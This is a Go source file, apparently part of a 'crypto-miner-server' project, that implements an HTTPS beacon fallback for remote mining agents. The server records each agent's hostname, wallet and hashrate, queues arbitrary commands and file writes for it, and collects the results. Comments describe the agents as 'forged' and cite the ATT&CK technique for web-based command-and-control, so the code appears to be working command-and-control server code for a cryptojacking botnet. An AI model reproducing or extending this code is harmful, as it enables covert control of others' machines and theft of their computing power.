package api import ( "encoding/json" "net/http" "strings" "time" "crypto-miner-server/internal/models" ) const beaconReachableWindow = 90 * time.Second // BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down. type BeaconCommand struct { Action string `json:"action"` TailLines int `json:"tail_lines,omitempty"` Command string `json:"command,omitempty"` Path string `json:"path,omitempty"` Data string `json:"data,omitempty"` } type beaconRequest struct { AgentID string `json:"agent_id"` Stats json.RawMessage `json:"stats,omitempty"` Hostname string `json:"hostname,omitempty"` Wallet string `json:"wallet,omitempty"` Worker string `json:"worker_name,omitempty"` Version string `json:"version,omitempty"` } type beaconResponse struct { OK bool `json:"ok"` Commands []BeaconCommand `json:"commands"` } type beaconResultRequest struct { AgentID string `json:"agent_id"` Action string `json:"action"` Success bool `json:"success"` Message string `json:"message"` } func (h *WSHub) initBeaconMaps() { h.beaconMu.Lock() defer h.beaconMu.Unlock() if h.beaconLastSeen == nil { h.beaconLastSeen = make(map[string]time.Time) } if h.beaconCmdQueue == nil { h.beaconCmdQueue = make(map[string][]BeaconCommand) } } // MarkBeaconSeen records a successful HTTPS beacon from an agent. func (h *WSHub) MarkBeaconSeen(agentID string) { h.initBeaconMaps() h.beaconMu.Lock() h.beaconLastSeen[agentID] = time.Now() h.beaconMu.Unlock() } // ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket. func (h *WSHub) ClearBeaconTransport(agentID string) { h.initBeaconMaps() h.beaconMu.Lock() delete(h.beaconLastSeen, agentID) delete(h.beaconCmdQueue, agentID) h.beaconMu.Unlock() } func (h *WSHub) isAgentBeaconReachable(agentID string) bool { h.initBeaconMaps() h.beaconMu.Lock() last, ok := h.beaconLastSeen[agentID] h.beaconMu.Unlock() return ok && time.Since(last) <= beaconReachableWindow } // IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon. func (h *WSHub) IsAgentReachable(agentID string) bool { return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID) } // EnqueueBeaconCommand queues a command for HTTPS beacon delivery. func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool { if !h.isAgentBeaconReachable(agentID) { return false } cmd := BeaconCommand{Action: action} if v, ok := args["tail_lines"]; ok { switch n := v.(type) { case int: cmd.TailLines = n case float64: cmd.TailLines = int(n) } } if v, ok := args["command"].(string); ok { cmd.Command = v } if v, ok := args["path"].(string); ok { cmd.Path = v } if v, ok := args["data"].(string); ok { cmd.Data = v } h.initBeaconMaps() h.beaconMu.Lock() h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd) h.beaconMu.Unlock() return true } func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand { h.initBeaconMaps() h.beaconMu.Lock() cmds := h.beaconCmdQueue[agentID] delete(h.beaconCmdQueue, agentID) h.beaconMu.Unlock() if cmds == nil { return []BeaconCommand{} } return cmds } func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) { if h.db == nil || len(statsJSON) == 0 { return } var stats struct { Hashrate15s float64 `json:"hashrate_15s"` Hashrate1m float64 `json:"hashrate_1m"` Hashrate15m float64 `json:"hashrate_15m"` SharesSubmitted int `json:"shares_submitted"` SharesAccepted int `json:"shares_accepted"` CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` GPUMinerActive *bool `json:"gpu_miner_active,omitempty"` GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"` GPUModel string `json:"gpu_model,omitempty"` } if err := json.Unmarshal(statsJSON, &stats); err != nil { return } sharesBad := stats.SharesSubmitted - stats.SharesAccepted if sharesBad < 0 { sharesBad = 0 } _ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m, stats.SharesSubmitted, stats.SharesAccepted, sharesBad, stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds) gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive _ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive) _ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m) h.broadcastDashboard(Message{ Type: "stats", Payload: mustMarshal(map[string]interface{}{ "agent_id": agentID, "hashrate_15s": stats.Hashrate15s, "hashrate_1m": stats.Hashrate1m, "hashrate_15m": stats.Hashrate15m, "cpu_usage_pct": stats.CPUUsagePct, "memory_usage_pct": stats.MemoryUsagePct, "uptime_seconds": stats.UptimeSeconds, "shares_submitted": stats.SharesSubmitted, "shares_accepted": stats.SharesAccepted, "transport": "https_beacon", }), }) } // HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback). func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "method not allowed", http.StatusMethodNotAllowed) return } var req beaconRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } agentID := strings.TrimSpace(req.AgentID) if agentID == "" { http.Error(w, "agent_id is required", http.StatusBadRequest) return } h.MarkBeaconSeen(agentID) if h.db != nil { if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") { display := req.Hostname if display == "" { display = agentID } _ = h.db.UpsertAgent(&models.Agent{ ID: agentID, Name: display, Wallet: req.Wallet, Version: req.Version, Status: "online", }) } } h.applyBeaconStats(agentID, req.Stats) cmds := h.dequeueBeaconCommands(agentID) writeJSON(w, beaconResponse{OK: true, Commands: cmds}) } // HandleAgentBeaconResult receives command results from HTTPS beacon agents. func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "method not allowed", http.StatusMethodNotAllowed) return } var req beaconResultRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } agentID := strings.TrimSpace(req.AgentID) if agentID == "" || req.Action == "" { http.Error(w, "agent_id and action are required", http.StatusBadRequest) return } h.MarkBeaconSeen(agentID) payload := map[string]interface{}{ "agent_id": agentID, "action": req.Action, "success": req.Success, "message": req.Message, "transport": "https_beacon", } h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)}) h.notifyCmdCallback(agentID, req.Action, payload) writeJSON(w, map[string]interface{}{"ok": true}) } // FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket. func (h *WSHub) FlushBeaconCommandsToWS(agentID string) { cmds := h.dequeueBeaconCommands(agentID) for _, cmd := range cmds { args := map[string]interface{}{} if cmd.TailLines > 0 { args["tail_lines"] = cmd.TailLines } if cmd.Command != "" { args["command"] = cmd.Command } if cmd.Path != "" { args["path"] = cmd.Path } if cmd.Data != "" { args["data"] = cmd.Data } _ = h.SendAgentCommand(agentID, cmd.Action, args) } }